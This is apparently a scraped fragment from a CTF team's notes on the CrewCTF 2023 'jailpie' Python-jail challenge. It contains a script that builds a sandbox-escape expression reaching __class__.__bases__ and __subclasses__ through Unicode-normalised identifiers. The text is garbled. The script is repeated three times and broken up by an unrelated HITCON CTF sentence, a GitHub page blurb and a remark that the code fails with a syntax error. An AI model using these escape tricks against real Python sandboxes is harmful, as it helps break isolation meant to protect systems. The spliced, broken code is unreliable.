Project Sekai
🔒 CrewCTF 2023 / ❌-misc-jailpie
️TSJ️ hosted HITCON CTF 2022 with HITCON & 217 this weekend, and I created 6 out of 27 challenges for
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
try:
print(char)
names.append(char)
except:
continue
break
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code), however it syntax errors sadly
. Contribute to splitline/My-CTF-Challenges development by creating an account on GitHub.
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
try:
print(char)
names.append(char)
except:
continue
break
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code), however it syntax errors sadly import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
names.append(f"a{x}")
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code.hex()) 
4632: __subclasses__ 
